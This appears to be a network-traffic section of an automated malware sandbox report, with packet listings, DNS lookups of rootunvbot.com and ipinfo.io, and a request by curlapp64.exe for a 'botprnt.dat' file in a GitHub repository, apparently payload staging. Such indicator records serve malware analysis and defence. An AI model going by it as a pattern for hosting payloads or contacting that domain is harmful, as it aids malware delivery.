Dec 10, 2024 07:35:32.698960066 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.699014902 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.699018955 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.699050903 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.699070930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.702249050 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.702266932 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.702372074 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.702377081 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.702413082 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.706583023 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.706602097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.706696033 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.706700087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.706733942 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.709320068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.709335089 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.709408998 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.709414005 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.709448099 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.744663000 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.744698048 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.744817972 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.744837999 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.744884968 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.751693964 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.751725912 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.751807928 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.751825094 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.754007101 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.759372950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.759391069 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.759443045 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.759449005 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.759474993 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.766093969 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.766113043 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.766204119 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.766208887 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.767800093 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.773653030 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.773669004 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.773737907 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.773742914 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.773777962 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.777569056 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.777590036 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.777726889 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.777750015 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.777791977 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.781225920 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.781244993 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.781306982 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.781312943 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.782001019 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.782165051 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.782181978 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.782221079 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.782227993 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.782260895 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.782279968 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.788974047 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.788990974 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.789062023 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.789067030 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.789098978 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.795612097 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.795625925 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.795707941 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.795713902 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.795748949 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.803158045 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.803174973 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.803230047 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.803241014 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.803278923 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.803296089 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.829969883 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.829999924 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.830075026 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.830096006 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.830137968 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.833579063 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.833611012 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.833692074 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.833695889 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.833736897 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.836613894 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.836642981 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.836730957 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.836736917 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.836785078 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.840204000 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.840239048 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.840349913 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.840359926 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.840413094 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.843242884 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.843266964 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.843353987 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.843358994 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.843398094 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.850640059 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.850662947 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.850755930 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.850760937 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.850811005 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.854244947 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.854266882 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.854337931 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.854360104 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.854398966 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.877887964 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.877912045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.877995014 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.878017902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.878056049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.882293940 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.882313967 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.882383108 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.882397890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.882435083 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.887454033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.887475014 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.887536049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.887547016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.887578964 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.892143965 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.892230034 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.892406940 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.892477989 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.897188902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.897207975 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.897265911 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.897272110 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.897342920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.901810884 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.901830912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.901928902 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.901942968 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.901967049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.901977062 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.936747074 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.936773062 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.936846972 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.936865091 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.936875105 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.936964035 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.944695950 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.944719076 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.944817066 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.944839001 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.945960045 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.952040911 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.952076912 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.952266932 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.952280998 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.952339888 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.958648920 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.958664894 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.958730936 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.958755970 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.962038040 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.966348886 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.966365099 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.966434002 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.966454029 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.966505051 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.969710112 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.969736099 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.969805002 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.969825983 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.969872952 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.973943949 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.973970890 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.974047899 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.974070072 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.974087000 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.974108934 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.974355936 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.974380970 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.974411964 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.974425077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.974450111 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.974466085 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.981589079 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.981617928 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.981828928 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.981842995 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.981884956 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.988287926 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.988341093 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.988410950 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.988431931 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.988468885 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.988478899 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.995898008 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.995928049 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.996017933 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.996030092 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:32.996062994 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:32.996104956 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.022272110 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.022296906 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.022418976 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.022445917 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.022533894 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.025088072 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.025110006 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.025186062 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.025193930 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.025240898 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.028808117 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.028829098 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.028903008 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.028920889 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.028974056 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.031744003 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.031763077 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.031826019 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.031846046 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.031923056 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.035329103 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.035356998 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.035437107 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.035444975 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.035469055 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.035506010 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.042865038 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.042897940 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.042972088 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.042982101 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.043097019 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.046592951 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.046622038 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.046721935 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.046730995 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.046775103 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.070207119 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.070238113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.070367098 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.070395947 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.070440054 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.074507952 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.074526072 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.074625015 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.074635029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.074676037 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.079528093 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.079549074 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.079638004 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.079658985 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.079695940 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.084511995 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.084534883 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.084594965 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.084606886 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.084646940 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.089451075 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.089468956 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.089564085 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.089580059 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.089620113 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.094137907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.094161987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.094235897 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.094249010 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.094291925 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.128808975 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.128839970 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.129024029 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.129050970 CET	443	49770	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.129102945 CET	49770	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.136653900 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.136677027 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.136766911 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.136780024 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.138008118 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.144341946 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.144383907 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.144561052 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.144572973 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.144630909 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.151052952 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.151072025 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.151184082 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.151196003 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.151247025 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.158674002 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.158694983 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.158765078 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.158773899 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.162028074 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.162182093 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.162213087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.162244081 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.162267923 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.162281036 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.162307978 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.166253090 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.166273117 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.166352987 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.166366100 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.166712999 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.166738033 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.166944027 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.166956902 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:33.166981936 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:33.166996956 CET	49720	443	192.168.2.5	185.199.109.133

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 07:34:56.158107042 CET	192.168.2.5	1.1.1.1	0xdb06	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:35:07.523524046 CET	192.168.2.5	1.1.1.1	0x76e2	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:36:54.513638020 CET	192.168.2.5	1.1.1.1	0x62ae	Standard query (0)	rootunvbot.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:36:59.516743898 CET	192.168.2.5	1.1.1.1	0xd783	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 07:34:56.297882080 CET	1.1.1.1	192.168.2.5	0xdb06	No error (0)	github.com	20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:35:07.660655022 CET	1.1.1.1	192.168.2.5	0x76e2	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:35:07.660655022 CET	1.1.1.1	192.168.2.5	0x76e2	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:35:07.660655022 CET	1.1.1.1	192.168.2.5	0x76e2	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:35:07.660655022 CET	1.1.1.1	192.168.2.5	0x76e2	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:36:54.747090101 CET	1.1.1.1	192.168.2.5	0x62ae	No error (0)	rootunvbot.com	188.116.21.204	A (IP address)	IN (0x0001)	false
Dec 10, 2024 07:36:59.654772043 CET	1.1.1.1	192.168.2.5	0xd783	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	20.233.83.145	443	4820	C:\Users\user\Desktop\curlapp64.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 06:35:06 UTC	88	OUT	HEAD /botrunvd01/botdwl/raw/main/botprnt.dat HTTP/1.1 Host: github.com Accept: /
